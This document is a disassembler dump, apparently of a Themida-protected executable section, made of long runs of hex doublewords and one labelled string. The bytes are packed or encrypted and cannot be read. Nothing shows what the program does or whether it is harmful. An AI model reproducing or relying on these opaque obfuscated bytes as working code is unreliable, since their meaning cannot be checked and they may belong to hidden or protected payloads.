dd 4AB256BAh, 0DB659BEh, 0D73256AEh, 5255ADD6h, 0B188D2A4h
dd 52B256D5h, 0C1C9D61Ah, 0B187D27Ah, 3A5456BAh, 49D1D643h
dd 0C58AAD2Eh, 0B40CD610h, 8FB214DFh, 310F22F8h, 89463ED4h
dd 77B0A935h, 0D737BEE5h, 56B248D6h, 4AB33056h, 9546BED6h
dd 312CDDCDh, 3054A632h, 0C5F2D711h, 4E673662h, 596DC028h
dd 0F4BB0B58h, 0CCB13752h, 343D57ABh, 0B1325783h, 0B07BEC5Eh
dd 3A625308h, 596D90F7h, 810E6FBFh, 0A0B05905h, 3A3256AFh
dd 533BF3EDh, 33B906AEh, 0B4DA0913h, 0E9026AD3h, 0B1C8D97Ah
dd 0BB956BAh, 0B4DA09D7h, 0EEB8D42Dh, 382653BFh, 0A175DF9Ch
dd 77B0DD85h, 3A37BEB5h, 386A6669h, 64DB5EE5h, 7632565Dh
dd 0B130AEEBh, 0B6D95657h, 0B0CA136Ch, 3A3256D5h, 596DDC50h
dd 3BB0D570h, 0A537BEE5h, 0F6BB61D4h, 0B2CAD5BEh, 33F55A22h
dd 0B4DA096Dh, 0B13256D7h, 49B15301h, 326D2B77h, 0C532AEC7h
dd 0F7845946h, 0B1B2FFAFh, 0B7475657h, 0B4DAD5EBh, 4E1F5E3Eh
dd 323256EAh, 0BAD9539Dh, 77A8DDE9h, 3A37BE02h, 186965AAh
dd 31325657h, 773142DEh, 0B2379656h, 596D9068h, 0F6BB1E70h
dd 0BD75DFB2h, 69C500B6h, 69C59085h, 0B23796D4h, 596D9029h
dd 0F6BB1ED0h, 0BD75DFE2h, 7101689Eh, 19331030h, 0B21323DDh
dd 0B3F2D568h, 0B13257ECh, 0C5E95DABh, 0CCA8DCDCh, 3137B150h
dd 72315796h, 383A1133h, 0A5D95A1Ah, 4E178E59h, 9A325657h
dd 32EAA16Dh, 0F6BB5415h, 0BD75DFE2h, 72FB378Dh, 32DEDDEFh
dd 5952AA99h, 0B13256AEh, 5CD8D70Dh, 3A37BEC3h, 596DD06Fh
dd 32FB65EFh, 353D564Ah, 0B1325678h, 0C4CD51D6h, 0B947A9A2h
dd 0B041BE07h, 0B44156ABh, 5A269156h, 4D77DF08h, 4E3E238Ah
dd 86CD5ECFh, 0B1330AB5h, 26B059AEh, 3A325657h, 0B60BAAEEh
dd 0B1BED4DAh, 0F4CD56EAh, 0B54DD589h, 323A22BAh, 0C5325A22h
dd 93CBDACh, 4ECDA9A8h, 0B1325312h, 5A99A5D5h, 0A14DD529h
dd 323D2270h, 0C43446C5h, 0F6B9174Ch, 0BD6DDDAAh, 0F6B915BCh
dd 0BD6DDDAFh, 0F6B96F3Eh, 0BD6DDDEEh, 0C43A094Eh, 0E6B904AFh
dd 0A1677D59h, 3A2603ADh, 6B195A08h, 0EB37BD28h, 0F6B9443Eh
dd 0BD6DDDEEh, 3236095Eh, 3B315351h, 0B4D0742Ch, 0B222292Dh
dd 9A735722h, 0B06EDF72h, 4ECDEED4h, 0B48BA915h, 42325675h
dd 4E64BF11h, 7853A9A2h, 0E432466Ch, 75B1BADCh, 0B1DA3657h
dd 0EB3256D5h, 0D8EABC6Bh, 0BB9539Dh, 0B4DA093Ch, 8EB19F6Eh
dd 20B659AEh, 3A325657h, 0BD47A9ACh, 0E13A232Ah, 0B132DE02h
dd 32372575h, 53D9427Dh
dd 4ECE13D4h, 0C4CD5ADBh, 5905A95Fh, 0B13256DAh, 0F4B93CA7h
dd 0C3356F16h, 4D77A916h, 0B1362939h, 0CEB15E29h, 0B34656A2h
dd 4E8A58BCh, 8CDA954h, 0B13256D0h, 7AD9FD19h, 0B42229F6h
dd 0CEB159CEh, 0A047504Dh, 0B575DDEFh, 5A3E09DCh, 0B575DDB6h
dd 5A3E095Eh, 0B575DDF9h, 9A3E09FEh, 5AB152E5h, 0A14DD558h
dd 0F03323ADh, 0EDBB8F7Ch, 4E8A57AAh, 8CDA92Ah, 0B13256EFh
dd 36D9FD86h, 0B9F09FDBh, 5DB9035Dh, 0B977DDCEh, 0C33E136Ch
dd 0A1776DA3h, 5ACA55A2h, 0B1D9AFE9h, 0BDF09F14h, 5DB903BAh
dd 0D1CE92DEh, 0B1325646h, 5BB30C57h, 0B4DA3C05h, 6A019FE6h
dd 3ACE0B63h, 596DD0CFh, 0B10DD5BFh, 8EB13229h, 32372351h
dd 40D94290h, 0B1362928h, 0CEB15EA1h, 0B34656E6h, 0F4CD5E9Eh
dd 0A5F5D546h, 0CEB18DB6h, 0BE4653BEh, 0B72229D4h, 3A7347DEh
dd 0EEB95292h, 3A2FBDE6h, 0EEB95232h, 3A21BDB6h, 0EEB9521Ah
dd 0B56D7DA2h, 3237BDD4h, 0C43146D4h, 681917D4h, 0B0330A63h
dd 4ECDA9CDh, 0B137EF45h, 1AC1565Dh, 3A53C145h, 72FBAA12h
dd 596107FBh, 0B13256D5h, 88D8D7B0h, 3C37BE1Eh, 596DC820h
dd 0B156EE58h, 63DA56AEh, 3A325657h, 5AF36DA0h, 0B57955C1h
dd 0A64097D1h, 8A221D76h, 5A30247Bh, 5A26BD5Fh, 94A8DBBCh
dd 4E37BEB9h, 3C3ABD78h, 59C31D4Fh, 0EAE1A9EFh, 0E4F10E2Ch
dd 0B1DABA31h, 0EB32565Dh, 0DABABC2Fh, 3C5253BFh, 596DC811h
dd 0B977DDD0h, 0F4B95163h, 0B575DF79h, 38221331h, 0F4B95A1Ah
dd 0A175DFBAh, 0A1F09F36h, 34F436ABh, 0B4D05C9Ch, 0C2283EADh
dd 4CDFE62h, 0B4D0401Bh, 0CB53D3D0h, 61CD534Bh, 7BB8DB05h
dd 0E037BEF4h, 3C68862Ah, 596D9C68h, 0F1855970h, 0E3EADDB6h
dd 0B2686752h, 0C8B0DF6Dh, 0D037B448h, 0E85251C3h, 0
dd 0F9EA815Ah, 5205E86Bh, 1F79828Bh, 6DB905E2h, 0F741C64Eh
dd 39055AE1h, 25000030h, 7FFFFFFFh, 1F798289h, 595A05E2h
aQrs db 'ÃQRè',0 ; DATA XREF: Themida_:004EED5Co
align 10h
dd 29EA815Ah, 8B05E86Ch, 0FFBBE8C8h, 0D233FFFFh, 0C28BF1F7h
dd 8BC3595Ah, 8DC08BC0h, 0E8623A85h, 66D0FF05h, 858DC18Bh
dd 5E86BF2h, 1D898589h, 858D05E2h, 5E86C22h, 10A58589h
dd 0B805E2h, 0B000000h, 47840FC0h, 0C6000000h, 0E20A4985h
dd 0DF685605h, 0FFA9C530h, 0E216A1B5h, 61858D05h, 0FF05E57Ah
dd 8D8D50D0h, 5E21859h, 68046A51h, 1000h, 2A95B5FFh, 0D0FF05E2h
dd 2A95BD8Bh, 7F0305E2h, 0F8C7813Ch, 0C7000000h, 202447h
dd 9D8D6000h, 5E20695h, 0C00B038Bh, 5840Fh, 8B0000h, 0B9044389h
dd 234CF6h, 0AE8h, 76479700h, 10104802h, 0F5A00688h, 0CB81665Fh
dd 0C7814E92h, 64B5h, 888C94BBh, 18FBBE5Eh, 0B8660000h
dd 178B7BD8h, 8E9h, 0E9459700h, 55079BBFh, 33C28190h, 0F238316h
dd 887h, 0CB815700h, 2E8AAA8Fh, 0BDEA8159h, 0B44AE74Fh
dd 0CCF2813Ah, 0E91AED9Ch, 0Fh, 880B1AB5h, 0D3EBFABBh
dd 3FB00F54h, 5243D28Ah, 0FE8h, 1836D500h, 548A5133h, 5C936E4h
dd 0A18564C3h, 0B9ECB966h, 66078F58h, 8396F9B8h, 0B70F02EFh
dd 664F4FDAh, 59BDEB81h, 0D850F4Eh, 8A000000h, 28E9FDh
dd 0D350000h, 84D6D46Ah, 12E9h, 8A587600h, 660EFB65h, 3029331h
dd 9639EEEDh, 0E9D28F6Fh, 0FFFFFF5Eh, 67E84A7Ah, 8D8D6AB2h
dd 5E86E33h, 8840Fh, 89600000h, 0E2246DB5h, 14E96105h
dd 4D000000h, 7C31D9C5h, 9C010A35h, 999D9D79h, 0F7161FC0h
dd 892BC48Bh, 0E20BE98Dh, 6E805h, 0BD350000h, 9C7D32AEh
dd 13859589h, 0C75805E2h, 0E2076185h, 5ABC05h, 0C18B6600h
dd 1B5585C7h, 5E2h, 0B5030000h, 5E22969h, 3DDB5FFh, 8D8905E2h
dd 5E210E9h, 8B665350h, 0FF5858C6h, 0E20B1595h, 0D99D8B05h
dd 6605E230h, 6AAEFEBBh, 0B995FF00h, 8B05E20Ah, 6C6EEBC0h
dd 0A464B4F5h, 862942Fh, 751E1ED9h, 75BF434Dh, 0BA70D534h
dd 1DE6D4FAh, 0B3CFA783h, 0A63F3CCCh, 407E56FFh, 0EEACA2F8h
dd 8C46B76Ah, 7F7BB25Eh, 7ECE7D44h, 8389B488h, 0D19C19F3h
dd 5270BDCFh, 0A4E713h, 9040A6C6h, 0CE248E0Bh, 0F34D25C7h
dd 4C216EA3h, 65217918h, 10653100h, 0F7120477h, 3254D8E7h
dd 0D222D73Bh, 38A3E56Bh, 2308EB62h, 92BA2h, 0E9000000h
dd 0B0Dh, 0E8705A68h, 0DF0EE905h, 3C68FFFAh, 0E905E871h
dd 0FFFADF04h, 0E872C468h, 0DEFAE905h, 0C868FFFAh, 0E905E873h
dd 0FFFADEF0h, 0E875A768h, 0DEE6E905h, 2B68FFFAh, 0E905E877h
dd 0FFFADEDCh, 0E8782768h, 0DED2E905h, 8FEAFFFAh, 59D52D4Ch
dd 1C9D6504h, 0E440BEC1h, 0A506F89Fh, 225D375Ah, 0A7CA1596h
dd 0E386DB5Bh, 3A5DA01Fh, 781F64C4h, 10EB0612h, 15A00546h
dd 79474437h, 0E7C9A7FAh, 1DDE7385h, 2A5EDB4h, 0EDD55C21h
dd 0F313368Bh, 0B678106Bh, 720AE639h, 0CFD2C1DFh, 976BF4ABh
dd 3C99EA12h, 5FDA2789h, 0FFCFA98Eh, 0F9FE951Ch, 8CA00B30h
dd 68A42FD5h, 983E88Eh, 33h, 52294DDEh, 257AF8C6h, 67FFD9EAh
dd 0CFCB32CAh, 0AC0BF5ABh, 20052651h, 0D5519FE9h, 543C0188h
dd 0B9B3A39h, 70144DA0h, 0E8FDA9E5h, 0FC4A83h, 119D0000h
dd 0F1D02F8Fh, 0C9DAE59Bh, 0E2C7A496h, 0D5288BB7h, 17AAC25Ah
dd 0A5ED8F64h, 200EEAC9h, 0E9FD7EC0h, 0ED8FA354h, 0C6AB88A5h
dd 43DE7A4Bh, 0A5ED8FB8h, 7EB99E7Dh, 8C93F070h, 0ED946061h
dd 8DED4FA5h, 87A4D32Eh, 0C1239FA2h, 0A68BD47Ch, 43E4E50Ah
dd 6A38715Fh, 0C8139402h, 0A0304DEBh, 7BABCF5Ah, 439E1DE3h
dd 9B5CF7D4h, 9EA00AF7h, 61FEC21Dh, 9AC7D788h, 0E8806535h
dd 0B2EA255h, 0CCA487A0h, 5AA502FCh, 2CB0D275h, 0F303B02Bh
dd 13F0926Dh, 0F479DA05h, 0AA738B28h, 561BB6CEh, 0CFA5F018h
dd 0F97A44ECh, 0BC3F83A6h, 88332A61h, 697C50h, 8B64Fh
dd 93EE4B00h, 6BB8328Ch, 207BFAC4h, 0FE43A101h, 0B904675Bh
dd 0F541BE96h, 0B6082F72h, 7A44EB38h, 239FA2FDh, 71DD7CC1h
dd 43B344D9h, 9A78A005h, 338E11A1h, 0D52D22Ch, 759DC26Ah
dd 4DFFACA8h, 9AE5443Eh, 294DF9BEh, 21AEC652h, 7DD549Eh
dd 237EFFEDh, 51F2D7F4h, 282A188Bh, 162B0574h, 0ABCF4D66h
dd 0D0AFEAC9h, 0A00B1D23h, 9A59EF5Ah, 83E87F92h, 0A15AF70Fh
dd 86A00B29h, 5DDDA5h, 78DCB489h, 0AEh, 328F114Fh, 1A5CD826h
dd 337E43A0h, 0C4963112h, 14F449D5h, 7AFDC53Ch, 0AC95E827h
dd 55A5ED6Ah, 46EC470Ah, 27F16D04h, 0E78AD759h, 0CD44991Bh
dd 325E35B9h, 0CF86359Fh, 0A4CBA8ABh, 8BA5DE06h, 0EFD36A76h
dd 8AA685A5h, 0D978C324h, 0E03B86E9h, 7C50C807h, 0D48FC029h
dd 2D000007h, 14EA8DD0h, 0DC22459Ah, 837F025Dh, 49B9D825h
dd 9CF49BE6h, 954D763h, 0C51A9866h, 9CDF5CA2h, 5EA305FDh
dd 0AAC7533Bh, 0A00542D1h, 47837456h, 35EC12Fh, 0EDB38770h
dd 0E1CFACA5h, 0E05C9C1Fh, 0E17C1483h, 0A5EDB416h, 765B381Bh
dd 308DEFD3h, 8F11D811h, 59D82632h, 0CFF32A06h, 0ED71106Dh
dd 0F966F289h, 0CE399Fh, 7B13FDEDh, 0CF9AF6E6h, 7E1AF9ABh
dd 69B04BE6h, 9675A00Bh, 0FD7F43BAh, 69A556EBh, 0A98AA00Bh
dd 0DB5DA5C4h, 0A0740B86h, 7027518Ch, 30B08339h, 0F2724CD3h
dd 690F62ADh, 0A18C546h, 12DC893Fh, 0FFCC4B98h, 70CD2F11h
dd 328F11D1h, 46C8A8C7h, 64D518C5h, 8ED355E0h, 942941EBh
dd 18C546E3h, 0A38D6B48h, 0DBB5FC41h, 0D5579715h, 0BFCDAB88h
dd 99345C37h, 1EA75ACFh, 0ACCE5132h, 88253348h, 18C533A4h
dd 9BE649B7h, 0F8774F1Ch, 18FBCBA5h, 32F68291h, 0FF8B0D01h
dd 0F472B231h, 7E4360AFh, 32BCBFD2h, 82610D01h, 4A09BFB6h
dd 0F0DE9042h, 3DCE3h, 7947F400h, 3BCA5F8h, 0E16BA6B6h
dd 93F7A56h, 59F78CD0h, 0CEE478C4h, 385033ABh, 4E2A75F6h
dd 0A1E84FC2h, 6FF72119h, 0B3E17C14h, 0BE24DE14h, 0EF4DB3DDh
dd 354FC692h, 99106DCBh, 165EECC4h, 1ABED37Dh, 0C51EFF62h
dd 4644AE6h, 749035C3h, 0E6CB0172h, 0B906644Ah, 0E2836D7Eh
dd 0D4479C1Ch, 3438225h, 4C99D623h, 0D5000006h, 9C620558h
dd 44BADD22h, 0BF79AE5h, 0F13150ADh, 240C136Eh, 81DC5FEBh
dd 5DA200FEh, 1467C43Ah, 0D62B8D75h, 324FDBB3h, 0A0054149h
dd 4D3B0CEEh, 0F8C65229h, 354D2B78h, 0CFCCC098h, 0F60B23ABh
dd 0A00B9B05h, 2D64492Ah, 325EA305h, 38106BCCh, 883CB5C1h
dd 5AF68DD1h, 9ACCAFC2h, 6F51A00Bh, 1EFCC11h, 0B404D469h
dd 4E7A5EDh, 1EB3CB65h, 9A29825Dh, 2917E1C2h, 333F7AC7h
dd 0BD256CB1h, 3F3855EDh, 0E49A2982h, 23D46907h, 89A2983h
dd 70144D2Bh, 5BFE43A5h, 6E3E727h, 2CF887Eh, 0BE000000h
dd 2512FE41h, 0C652294Dh, 4EDE5F99h, 801D705Bh, 0A5ECB5F7h
dd 9E7A5F3Ch, 24386B86h, 0ED05ABD5h, 446A750h, 49E48CA0h
dd 0A00446AEh, 0E5B39073h, 0A40A2605h, 6959F843h, 831FC706h
dd 30D90D62h, 34C2453h, 8B74B135h, 6B06D219h, 0A004128Bh
dd 4CDF2484h, 767328B7h, 481748A1h, 0D9000005h, 807E015Ch
dd 48B6D926h, 0FF396E9h, 0F5CD6CB1h, 20082F72h, 85D85BEFh
dd 419E1CE2h, 1863C03Eh, 0DA278979h, 2E43DFB7h, 0A005404Dh
dd 4D07F0D2h, 0AEC65229h, 1483E040h, 0DBC45937h, 90ABD621h
dd 0FA7A44B3h, 0A52706D9h, 6146737Bh, 2380E0DEh, 156ACAF4h
dd 457D49Ah, 0F497C48Dh, 0F69A9B1Ah
dd 2453B00Ch, 0BB6D134Eh, 0AB6A1E6Bh, 3B55F449h, 0E32E73F5h
dd 4448F6C2h, 0D183E2B4h, 0C54C91EFh, 0E64C08E0h, 93000001h
dd 63C12F47h, 0B384771Eh, 0D7A9A5EDh, 0BA8B065Bh, 0B335FBD5h
dd 9D1F236Eh, 599D2140h, 0A5FB1622h, 88ABCFD2h, 8B7BC826h
dd 8A5BD62Bh, 81E0DEAEh, 71D2F33Eh, 513035F1h, 0C04F2C46h
dd 95EA46A8h, 0D26F491Ah, 0A00B1F25h, 8E5BE158h, 2020DB76h
dd 2605A00Bh, 7CE8244Ah, 5E8983E8h, 5E000000h, 0E9922F47h
dd 4EA5EDB3h, 2D9CF46Dh, 9D1EC2DDh, 364D91B3h, 1FF5871Ah
dd 5B38ABCFh, 0FD7A44DCh, 3A5677A2h, 0AEFD4A7h, 9E7A59A0h
dd 0AEFF483h, 31FF8BA0h, 0A9F670B0h, 9E334DC4h, 0A00AEFDDh
dd 0A29C6142h, 92B3FE41h, 6CF98FC6h, 53DE2182h, 9498A672h
dd 3D83E851h, 0E0h, 328F1182h, 445B926h, 683CD564h, 0C6290980h
dd 0B2323C7Bh, 54A226Dh, 68DF1BD8h, 6F10C65h, 2BA5ED3Dh
dd 0A38D6B48h, 3C81E141h, 65F3D0F5h, 3CC7B0CDh, 8F6CA5EDh
dd 546D80A1h, 2DA5ED41h, 341C61C3h, 0F295EA4Ah, 0CCAFC25Ah
dd 51A5ED37h, 6084A672h, 0F471AD57h, 0AF8CC7B1h, 45EE6C81h
dd 2E0DABD2h, 0A457EA02h, 89A008E4h, 1EB6CEAAh, 66A747B1h
dd 3E1A2A1Fh, 32B1EF70h, 0BE83A0EFh, 318F719Bh, 219DA5ECh
dd 2F11FFDCh, 6B1A71CCh, 41766E17h, 3697728h, 3BB60000h
dd 56141E0h, 0C82999B8h, 90ECD275h, 51D22C33h, 8E016B0Eh
dd 0C366B93Ah, 1F227FFFh, 56F944A3h, 94BB0868h, 6C0FA2BEh
dd 0B1A0053Eh, 8E1118D3h, 52D22C33h, 0AAC26A0Dh, 0EDB36417h
dd 18EAC9A5h, 8B6C4497h, 46CD1847h, 6FB28ED4h, 0ABCBACC1h
dd 7350A5EDh, 459DBA5h, 0FE43A58Dh, 0D8B33B5Bh, 0BF4B1DB0h
dd 0F0CEABCFh, 0C3E02F74h, 5A3F82E3h, 97B540DFh, 69C0A00Bh
dd 0A3D81CD3h, 74C92B95h, 2840283Dh, 0EDABD395h, 325536A5h
dd 922F47C5h, 0A5EDB3E9h, 0BD836D4Eh, 0D1ABE63Bh, 4E23378Eh
dd 0E5B3BCB6h, 2544991Bh, 0A265D81h, 0CFCDA9F7h, 0A8E7C4ABh
dd 54EB8FD0h, 7B7C5E36h, 0F1F3809Dh, 0BF3EA00Ah, 72BD0061h
dd 3D058C51h, 0A8357CC1h, 0B9F52BD1h, 75B93CC0h, 1E83E84Fh
dd 29h, 52294DA1h, 0CBD1ABC6h, 7754ABCFh, 7E4276D9h, 63E4DC63h
dd 72011C95h, 15A00B88h, 0E12DA85Ch, 8283E8E9h, 0CCh, 328F1155h
dd 2578FBC7h, 444D92EAh, 639C436Bh, 49AB9563h, 1DE3BDF4h
dd 0FBC8479Ah, 8CD1531Dh, 0CD7F46EDh, 0CE2EA5ECh, 7846EE71h
dd 5D5DDAF9h, 0F041FD4Ch, 0F97B4513h, 0A8E73AB9h, 2B7BB69Bh
dd 0DA0C8C3h, 0ABCF493Bh, 789ABD9Eh, 5CF19FF4h, 0A5EFC0F8h
dd 866800E3h, 1DB7DA25h, 53E512B2h, 0B9324D6Fh, 68BAF81Fh
dd 14DAB69Bh, 3CDD4893h, 0C7C515Bh, 1E5B4EDh, 0BF3A0000h
dd 89E5DD7Ch, 4CAD1534h, 14906EF1h, 0D556A8CFh, 128DE78Ah
dd 57FA45A6h, 93B60B6Bh, 0EA8DD02Fh, 284F9414h, 0E09B3642h
dd 45A0053Ch, 79479467h, 0E2CCA4F9h, 0AC123E81h, 328F114Fh
dd 18BBF46Dh, 8D79B0FEh, 0BC3C82A3h, 46A8C067h, 0FABD9BE8h
dd 0C652294Dh, 0CFCBD1ABh, 387754ABh, 95219E60h, 0B9B7F78h
dd 0E2C7A4A0h, 9B7C7B16h, 7703A00Bh, 34D6EDE8h, 5F8A69E7h
dd 83DFAEA3h, 221BF5DAh, 3AD7D79Eh, 0CA7883E8h, 4F000000h
dd 0E9922F47h, 4EA5EDB3h, 3BBD836Dh, 2487ABE6h, 0F371BFD9h
dd 0A2ED30B3h, 5DD4BC81h, 3C81FDC3h, 0B8083954h, 45A7A5EDh
dd 903F59F8h, 19232B5Eh, 624C2446h, 1072BD02h, 499B7CCh
dd 0ABCF4544h, 228CA487h, 13307FC4h, 5E862445h, 3F60B25h
dd 64A5EFBAh, 0EBC51A9Ah, 0AE10381Bh, 936FF24Dh, 0C35ECD10h
dd 917C50E1h, 0E92718h, 0BB360000h, 85E1C160h, 48A91938h
dd 106C52F5h, 0D152ACB3h, 0E81EB8Eh, 43E639BAh, 9FA2FF7Fh
dd 0D679C423h, 143B88E8h, 0EC8F223Eh, 31A0053Bh, 18479853h
dd 0BFDD01D4h, 47A89A54h, 0D1521CF4h, 0EFCC1193h, 0E3942941h
dd 48A5ED09h, 2FC8D6Bh, 0AC335DA2h, 0FF79B028h, 0E78652C9h
dd 328F1112h, 2479FBC7h, 67DE105h, 22C8D76Ah, 0C6A5ABD6h
dd 0B805674Bh, 67C72999h, 59D0B508h, 0C920F1CAh, 8E320DACh
dd 0B9D82587h, 1F9AE749h, 24F4D553h, 6F984594h, 66E29528h
dd 64479341h, 4B77A287h, 0DB2689E9h, 6FAA8F5Ch, 66FFF815h
dd 47249341h, 41A1017Fh, 0CF901FFCh, 0C7D6ABCBh, 9FD692DAh
dd 0AE1B37E9h, 38991B1Ah, 0E8BC7AF5h, 5BD80Fh, 0F2D7B489h
dd 0CC11936Fh, 0D0C45h, 64FC0000h, 40DC2EC9h, 3810F393h
dd 112E197Fh, 0E0CE4994h, 0CAF42380h, 0DBE7126Dh, 0A78B065Bh
dd 0B0BEF944h, 9DA5EC2Fh, 6B57C21Fh, 7678B70Ah, 5C68A7FCh
dd 8904EC83h, 0E789243Ch, 4C781h, 0EF830000h, 243C8704h
dd 5C83685Ch, 14890000h, 0E7895724h, 4C781h, 0EF810000h
dd 4, 5C243C87h, 50241C89h, 0E5AEF68h, 24048B3Ch, 504C483h
dd 0C9DA140Ch, 8358C289h, 248904ECh, 24048124h, 4, 3903685Bh
dd 14890000h, 8438F24h, 56241C8Bh, 0C681E689h, 4, 8704C683h
dd 0FF5C2434h, 815A2434h, 4C4h, 0D416E900h, 67C2FFFAh
dd 0CDB2B0CCh, 0E2E3207Bh, 7935B89Ch, 0C50305E8h, 617E0FFh
dd 8D936999h, 0BAA802D2h, 8FBE1141h, 0AA19393Ah, 95716465h
dd 6884357Ah, 8D8D4E56h, 5E87A91h, 0E856006Ah, 3, 5EC35E20h
dd 4247489h, 4244481h, 1Bh, 42C35646h, 51F4B7A8h, 89F1E345h
dd 0E20BE98Dh, 56006A05h, 3E8h, 0C35E2000h, 2474895Eh
dd 24448104h, 1504h, 0C3564600h, 0C6810716h, 20AD9B32h
dd 76185C7h, 642805E2h, 0BF660000h, 85C74FC7h, 5E21B55h
dd 0
dd 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 1Ch, 93C35040h
dd 8BFBD09Fh, 0CA68A098h, 10E5B5FFh, 0BF6605E2h, 95FF659Dh
dd 5E20B15h, 36E88166h, 0FF006A8Fh, 0E20AB995h, 0EBC08B05h
dd 0C04D207Fh, 496F0043h, 0DD7A4203h, 0EBECFC79h, 2170223Dh
dd 0E95150BEh, 1C26E8C3h, 0DE0BC045h, 29B74385h, 0DDE124F7h
dd 1CB7B6Eh, 0C031F553h, 93AB4947h, 776FCEFCh, 0C82B6ECDh
dd 1F105DF2h, 81D7F066h, 4C0ACEF1h, 1CB2793Bh, 0F41BF411h
dd 0CEC5B0D5h, 55C96696h, 9E657F62h, 4A3F7000h, 0BEE8F3Bh
dd 0DE35381Ch, 0BBA5CB8Fh, 0B3539721h, 0B201C870h, 9FE5374h
dd 1414D3ABh, 5D23C6A7h, 8EBh, 58F50000h, 81E90563h, 68000004h
dd 5E87C23h, 0FA04E6E9h, 7C8568FFh, 0DCE905E8h, 68FFFA04h
dd 5E87DDEh, 0FA04D2E9h, 0EEAA2CFFh, 515581E0h, 0B804F4B5h
dd 0E2A82F12h, 4A5885E4h, 4F50374Ch, 0A79A008Eh, 1606E34h
dd 76CBD7DBh, 0D79F3B81h, 0C24809AEh, 9499F9F0h, 7239AE56h
dd 4B3235B4h, 44B9B801h, 4C88CB7Eh, 2FB83D48h, 9E1CDD04h
dd 498EF170h, 0D10E9449h, 0CFB8014Ah, 29776442h, 0BAEC4DFCh
dd 0D501FA37h, 0D220F9Eh, 1EF9FBB7h, 68A5ECD8h, 0C73FE721h
dd 2E0h, 0CF770FFBh, 5EFB6E42h, 1FAC3D8h, 82050473h, 0B3B5A603h
dd 176CF9FAh, 0FAB30536h, 4667DCF9h, 15893D1Ah, 0EE7BFC9Ch
dd 3EBA290Fh, 0D99D972h, 85B61316h, 5CFF5F5Fh, 60EDC6E7h
dd 127CDD4Ch, 7D02BD39h, 50AE706h, 0F1993E21h, 1008D0FFh
dd 7465245Bh, 0ABA63336h, 0BC37B853h, 327713B4h, 7FBAC7C5h
dd 0EAFB38D9h, 2E2B49Fh, 8B4D0000h, 36BE830Fh, 0E5155472h
dd 894C3DD9h, 39A28703h, 31D06F6Bh, 0A5216F6Ch, 38F15C4h
dd 0EAF0BC3Eh, 0BE246297h, 69EA4FB6h, 0B8F9F0C5h, 7B1831F5h
dd 0D577D057h, 8020134h, 0F7C139h, 0BDEA63BAh, 0B1B0ED6Eh
dd 1B870DCEh, 9CEFB526h, 0F0C2B9B3h, 4C4A8FF9h, 5C84F427h
dd 23026704h, 280h, 2DA9EDEBh, 0F61C985Ch, 5F7B47B3h, 21ADEBEAh
dd 89159B40h, 0D10A9372h, 7762C7C3h, 1EDCAD29h, 0C4357492h
dd 0ED14D8C6h, 0F0C50B4Ch, 935BDAF9h, 0D0577B18h, 9A128D47h
dd 0F95AA205h, 2F586ED4h, 9B5F82FFh, 0EE4BB617h, 201867Eh
dd 0E643DA91h, 0F9F19449h, 0E1281C5Ah, 3FED3C2Ch, 1AF83h
dd 696EA700h, 1659D823h, 6622D2E4h, 28D19029h, 82C56462h
dd 36278056h, 0EFFC18B9h, 0A9825B90h, 388180A4h, 1FAD852h
dd 0DE4BFEB5h, 3ED23C85h, 7BC011FCh, 378CE4Fh, 6331A81Fh
dd 630AD318h, 0FA576906h, 8FC7AF9h, 0FEBC3B7Ah, 0FD8459EDh
dd 302B3FE6h, 1F000000h, 0D0577B18h, 0CD615E47h, 0F9C2A825h
dd 9A2111B6h, 67F001FAh, 241DD74Eh, 57B6E322h, 0FAB8750Ah
dd 14E066F9h, 0E614409Dh, 0D1EF3Fh, 6ED30000h, 0AB3C2369h
dd 80184463h, 83AA33E8h, 12159B40h, 73F43885h, 714AC781h
dd 226E6BEAh, 0F891F4B8h, 92961795h, 0FF34618Bh, 0F6B425ACh
dd 0D6A47FE8h, 0E512FC18h, 13303BA7h, 2089083Fh, 0FC18D42Fh
dd 0F13089E6h, 0FD044468h, 78C14001h, 0F9FDA4F7h, 0A4A39435h
dd 572F9FDh, 0D992219h, 8B703336h, 33A89905h, 0E54D006Dh
dd 3550045Fh, 1276Ah, 4246B000h, 0B5F1E544h, 1CA05829h
dd 4644B3F6h, 0AEF4E958h, 0D3EC8B20h, 0B7E642Ah, 65C4C2D0h
dd 0DAAF2B77h, 73739F1Dh, 0C4A49532h, 307DF9F0h, 276D6ECAh
dd 31756120h, 7214BDEAh, 4E50A50Fh, 6127AE11h, 1208D11Ah
dd 0F2E6AA2Fh, 117430A4h, 0DF1C6FA4h, 6A4E0FA8h, 0A887FC18h
dd 6E695773h, 99D82369h, 0DBC5A60h, 0FF0E8A4Ah, 8F946D7Eh
dd 0AC03A4DBh, 0DA01FB05h, 0C8535F9Bh, 97EC3A83h, 6CF81190h
dd 0F1693BCAh, 0BBCE8F28h, 2807F9FAh, 4C488CF3h, 0B907F47Bh
dd 0BBB5CA1Dh, 5287F9FAh, 2FB4E54h, 7D0669BCh, 87000000h
dd 528214C4h, 49863756h, 5A20B932h, 0D0577B18h, 134D177h
dd 0EC3F7402h, 0B83C7465h, 41E6A9FCh, 0F9F0C210h, 0C03D6AC1h
dd 0F4E4A7DAh, 0A7501FA8h, 0AFBD9AE1h, 5EF94B9Bh, 8D1A281Ch
dd 797C1E91h, 58A51A33h, 0DD1A4566h, 0AF3FA8DFh, 0D1A5EC16h
dd 9CEDB902h, 14A4575Bh, 1863D8E4h, 0DC0766D3h, 5E649919h
dd 73A8EEEBh, 0B084CE28h, 8B179542h, 207B41B6h, 341h, 9DA76500h
dd 0D92C686Eh, 0C05B6196h, 34575B81h, 25404E8Dh, 287341BAh
dd 1F6E34A9h, 9B21D4h, 769519C1h, 788307CFh, 0E08950F2h
dd 405h, 4E88300h, 8B240487h, 0D3682424h, 89000017h, 2F68242Ch
dd 8900002Dh, 0B8502414h, 5E87B42h, 48BC589h, 4C48124h
dd 83000000h, 248904ECh, 24048124h, 4, 3481555Ah, 9A564624h
dd 8428F34h, 5646B951h, 4A31349Ah, 34FF5908h, 0C4815A24h
dd 4, 53242C8Bh, 0C381E389h, 4, 8704C383h, 0E95C241Ch
dd 0FFFA0073h, 0A68F8305h, 0E87F2AB8h, 0FFC50305h, 31FADDE0h
dd 0B189396Ah, 8D9FDB6Fh, 0DBBB5164h, 0B24EC247h, 0FFC1FE2Eh
dd 7799EA0Eh, 2201B642h, 704DD61Ah, 0A97D8600h, 6E8F846Ch
dd 93E8AD45h, 0E5E1C10Dh, 0B28D8D33h, 8B05E880h, 0E98D89F9h
dd 0F05E20Bh, 85C7C6BFh, 5E20761h, 6CECh, 0E856006Ah, 3
